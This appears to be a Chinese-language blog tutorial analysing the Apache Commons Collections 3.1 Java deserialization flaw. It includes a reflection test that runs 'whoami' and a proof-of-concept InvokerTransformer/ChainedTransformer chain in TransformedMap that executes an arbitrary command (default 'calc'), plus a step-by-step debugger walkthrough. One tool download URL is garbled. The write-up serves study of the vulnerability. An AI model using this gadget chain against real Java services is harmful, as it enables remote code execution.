• Apache Commons Collections 反序列化详细分析学习总结


    0x01.环境准备:

    Apache Commons Collections 3.1版本,下载链接参考:

    https://www.secfree.com/a/231.html

    jd jui地址(将jar包转化为java源码文件):

    https://github.com/java-https://www.secfree.com/a/231.html/jd-gui/releases

    配置项目中的jdk版本:

    https://blog.csdn.net/qq_22076345/article/details/82392236

    设置class字节码输出路径

    https://blog.csdn.net/zZ_life/article/details/51318306

    为项目添加jar包

    https://www.iteye.com/blog/zyjustin9-2172445

    java object array(对象数组):

    object obj[]=new object[5];

    创建了一个Object数组,长度为5,这5个元素的值都是null,然后把创建好的数组实例的引用赋给obj变量。如果需要为这些元素分配具体的对象,则需要分别指定或用{}符号进行初始化

    https://juejin.im/post/5a6ade5c518825733e60acb8 arrays工具类对数组进行操作

    0x02.环境测试:

    import java.io.IOException;
    import java.lang.reflect.InvocationTargetException;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    public class fanshe {
        public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException, IOException {
            //函数名字,传参类型,参数值
            Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});
            Object newobject = transformer.transform(new StringBuffer("hi "));
            System.out.println(newobject);
    
            Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{});
            System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(r.exec("whoami").getInputStream())).readLine());
        }
    }

    从以上这段最简单的测试代码开始进行分析,

    Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});

    首先实例化了InvokerTransformer的对象,传入了要执行的方法名,参数类型,以及参数值,在传入值和类型时,要与java类中定义的变量的类型相一致

     这里定义的入口参数也可以看出所需要的类型,这里参数类型为class类型的数组,接下来第二行

    Object newobject = transformer.transform(new StringBuffer("hi"));

    此时调用了transformer类的transform方法,传入了一个StringBuffer的一个匿名对象,其中transform函数的定义如下,这个函数是Object类型的,入口参数也为object类型,

     此时如果input不为空,则会调用getclass方法得到当前对象的类对象,接下来通过调用getmethod方法,调用该类对象中的方法,其中传入的参数为两个,第一个为需要调用的

    类中方法的方法名,第二个参数为调用的该方法的参数类型,此时getmethod的返回值为Method类型的对象,此时便可以通过调用method的invoke方法来实现我们想调用的方法的执行

    比如此时使用反射机制完成对stringbuffer类的append方法的调用,从上图也可以看到入口参数类型为string,append方法实际上将传入append的字符串拼接到当前stringbuffer字符串的后面,然后返回当前字符串。

    0x03.漏洞原理分析:

    感觉这篇文章把这个漏洞的原因讲的非常详细,https://xz.aliyun.com/t/136

    Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库

    org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。

    其中有一个接口可以通过反射机制来进行任意函数的调用,即InvokeTransformer

     poc如下:

    import java.util.HashMap;
    import java.util.Map;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    public class collections {
        public static void main(String[] args) {
            String command = (args.length !=0 ) ? args[0] : "calc";
            String[] execArgs = command.split(",");
            Transformer[] tarnsforms = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer(
                            "getMethod",
                            new Class[]{String.class,Class[].class},
                            new Object[]{"getRuntime",new Class[0]}
                    ),
                    new InvokerTransformer(
                            "invoke",
                            new Class[] {Object.class,Object[].class},
                            new Object[] {null,new Object[0]}
                    ),
                    new InvokerTransformer(
                            "exec",
                            new Class[]{String[].class},
                            new Object[]{execArgs}
                    )
            };
            Transformer transformerChain = new ChainedTransformer(tarnsforms);
            Map temoMap = new HashMap<String,Object>();
            Map<String,Object> exMap = TransformedMap.decorate(temoMap, null, transformerChain);
            exMap.put("by", "SecFree");
        }
    }

    poc的逻辑可以理解为:

    构建BeforeTransformerMap的键值对,为其赋值,利用TransformedMap的decorate方法,可以对Map数据结构的key,value进行transforme。

    TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空),第三个参数为Map对象内的value要经过的转化方法。

    TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));

    poc中对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行。

     Transformer transforms[] = {
    //首先传入Runtime类
    new ConstantTransformer(Runtime.class),
         //通过调用Runtime.getMethod("getRuntime")获的Runtime.getruntime()方法
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]} ),
        //通过invoke函数获得Process类型的Runtime的实例化对象,这样才能通过对象->方法的形式调用exec函数
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {0, new Object[0]} ),
         //调用Runtime.exec('calc')
    new InvokerTransformer("exec", new Class[] {String[].class}, new Object[] {commands} ) };

    以上的代码即为transformer链的构成,当完成对这条链的转化,即完成了代码执行,以上代码相当于执行:

    ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(commands);

    0x04.poc断点调试分析:

    首先第一步定义一个要执行的命令,并且定义transformer链,实际上为一个对象数组

     其中第一个对象为ConstantTransformer的对象,入口参数Runtime.class,也就是通过.class方式,获取了Runtime这个类的类的对象

    这里赋值给了ConstantTansformer类的iConstant成员变量,具体为啥第一个类对象要为这个类的对象,下文说。

     第二个类对象为InvokerTransformer类的对象,之前已经知道InvokerTransformer类的作用:

            Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});
            String newobject = transformer.transform(new StringBuffer("hi ")).toString();
            System.out.println(newobject);

    通过以上三行即可完成通过反射完成函数调用,其中首先要定义一个InvokerTransformer类对象,然后通过调用该对象调用transformer方法来完成我们所想要的函数的执行

     其类的构造方法中第一个参数即为我们想要调用的方法名为getMethod,第二个为参数类型,第三个为参数值,这里实际上就是通过getMethod调用getRuntime函数

     我们已经知道反射的过程为通过getMethod获取到想要调用的函数以后,下一步就是通过invoke函数来传入我们想要触发的类对象,从而使我们的目的函数和目标类连起来,

    所以此时如上图所示,调用了invoke方法,此时传入的invoke的参数类型为类的类型对象,参数为类的对象

     

    最后一步如上图所示,为调用exec函数,进行代码执行,此时参数类型为String数组,即可以执行多个命令,参数即为之前定义的command,至此为止,transformer对象数组构造完成,

    创建这个数组的目的就是把后面要执行的函数放入里面,也就构成了一个函数链,接下来就是把transformers当做参数创建一个chainedTransformer对象,而chainedTransformer类有个方法就是就是将一个函数数组链式的执行,即chainedTransformer的transform方法

    将会依次调用iTransformers数组中存储的对象的transform方法,也就是依次执行我们所需要的函数

     如上图所示就把transformer链放到iTransformers变量中,方便后面的调用。

     

     如上图所示,最后三行代码即为commons collections反序列化的触发,首先需要构造一个map对象,并利用java泛型来对hashmap的键值类型进行指定,接下来利用TransformedMap类的decorate方法来对map对象进行封装,其中封装的作用为指定要转化的map对象以及map对象中的键值要进行的转化方法(这里也可以是一个链,即我们要赋值的transformerChain),这里可以指定key,也可以指定value,接下来即通过put方法来对map对象的键值进行修改,其中put(key,value)即为将value加入hashMap中,此时将触发decorate中定义的transformer链,进行函数调用:

    当f7单步执行到put函数,此时触发transformermap的put方法,因为decorate方法返回的是transformermap类的对象,此时首先转化key

     在对value进行转化时将判断此时valueTransformer是否为空,因为我们之前定义了map的value进行转化的transformer链

     

      

     可以看到此时valueTransformer即为之前decorate中封装的转化链,所以此时调用valueTransformer的transformer方法,入口参数为"secfree",为一个字符串

     其中transformer链的第一个对象为ConstantTransformer类的对象,此时F7单步步入,可以看到,此时transform函数不管入口的input为什么,都返回一个iConstant,而iConstant使我们可控的,因此我们在这里可以返回任意类,此处返回为java.lang.Runtime类的对象

     

     第二次进入循环时,可以看到此时object已经变成类java.lang.Runtime的对象

     

     此时进入转化链的第二个invoketransformer类的transform方法,因为之前我们已经知道该类的transform方法能完成函数的调用,此时通过.getclass()方法能够直接获得java.lang.Runtime的类的类型

     

     此时实际上通过调用invoke函数完成了对java.lang.Runtime类的getmethod函数的调用(input函数为要反射的类对象),其参数则为getRuntime()(this.iArgs),

     

     即此时返回的即为java.lang.Runtime.getruntime类的对象

     

     

     第三次进入循环,此时cls为reflect.Method类的对象,此时可以通过getMethod函数调用invoke函数,第三行通过invoke函数调用getRuntime类的invoke函数方便后面exec函数的调用,此时的input为

     而此时的method为:

    java.lang.reflect.Method类提供有关类或接口上单个方法的信息和访问权限。反映的方法可以是类方法或实例方法(包括抽象方法)。
    java.lang.reflect.Method.invoke(Object obj, Object... args)方法使用指定的参数调用由此Method对象表示的底层方法

    由上图可知此时我们已经知道Method类的变量实际上存储的为我们需要访问的方法,而Method.invoke()函数最终返回的是由invoke函数第一个参数所定义的对象以及第二个参数所定义的Method的参数所执行的返回值。

    所以此时我们调用method.invoke即为调用getruntime.invoke,即进入第四轮循环时,此时object即为上一轮getruntime.invoke()函数的返回值也就是当前Java应用程序相关的运行时对象Runtime

      第四次循环进入时,此时就要进行调用exec函数进行执行calc,此时通过getclass得到Runtime对象所属的类为java.lang.Runtime,接着通过getmethod获取java.lang.runtime类的exec方法

     第三行也就是method.invoke反射调用执行java.lang.Runtime类的exec函数,参数即为calc,即此时弹出计算器。

    0x05.参考:

    https://www.secfree.com/a/231.html

    http://blog.orleven./2017/11/11/java-deserialize/

    https://forum.90sec.com/t/topic/89

  • 相关阅读:
    npm的使用
    js 数组去重
    js实现对象或者数组深拷贝
    js简单排序
    js判断类型
    鼠标移入移出事件
    jq中的attr和prop属性
    移动端底部被输入法顶起的解决办法
    vue中的number
    javascript要点(上)
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11505122.html
Copyright © 2020-2023  润新知